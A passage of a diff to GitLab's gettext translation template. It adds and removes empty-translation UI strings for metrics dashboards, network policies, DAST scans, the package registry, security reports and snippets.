+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15811,12 +16268,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16296,12 +16849,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
